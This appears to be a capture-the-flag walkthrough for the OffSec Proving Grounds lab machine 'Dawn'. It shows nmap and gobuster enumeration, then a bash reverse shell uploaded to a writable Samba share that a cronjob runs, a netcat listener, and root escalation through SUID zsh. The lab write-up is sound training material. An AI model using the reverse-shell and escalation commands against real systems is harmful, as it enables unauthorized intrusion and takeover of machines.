This is a walkthrough of the machine Dawn from OffSec's Proving Grounds Play labs.
Machine information:
- Level: Easy
- Community rating: Intermediate
- Flags: 2
- OS: Linux
- Vector: Samba, SUID misconfiguration
Nmap
sudo nmap -A --open -sV -sC -v -p- <IP>
Starting off with an Nmap scan, we discover the following open ports:
- 80 - HTTP
- 139/445 - Samba
- 3306 - MySQL
Webapp
The web application on port 80 does not reveal anything interesting, displaying a generic "under construction" page:
To dig deeper, we will enumerate it using gobuster:
gobuster dir -u http://<IP>/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 64
We get a hit on /logs, which is an open directory containing four log files.
The only accessible log file is management.log, so we can download it to take a closer look.
wget http://<IP>/logs/management.log
The file contains logs from pspy - a process monitoring tool. Scrolling down a bit, we discover what appears to be a cronjob executing the following commands every minute:
Samba
We will briefly take a detour to enumerate Samba, first listing what shares are available using smbclient:
smbclient -L \\\\<IP>\\
We can see the same share - ITDEPT, which the cronjob executes product-control and web-control from.
Initial access
Since the cronjob will execute these files, and we have access to the share, we will start off by creating a simple reverse shell.
web-control:
#!/bin/bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
Next, we will start a listener to catch the shell:
nc -lvnp <PORT>
And finally, we will connect to the ITDEPT share, and upload web-control:
smbclient \\\\<IP>\\ITDEPT
put web-control
Within a minute, we receive a shell as www-data, and can read the first local.txt flag:
Privilege escalation
Using manual enumeration, looking for executables with the SUID bit set, we find /usr/bin/zsh:
find / -perm -u=s -type f 2>/dev/null
We can abuse this to escalate privileges by running the following, which provides us with a root shell to finally read the second proof.txt flag:
zsh
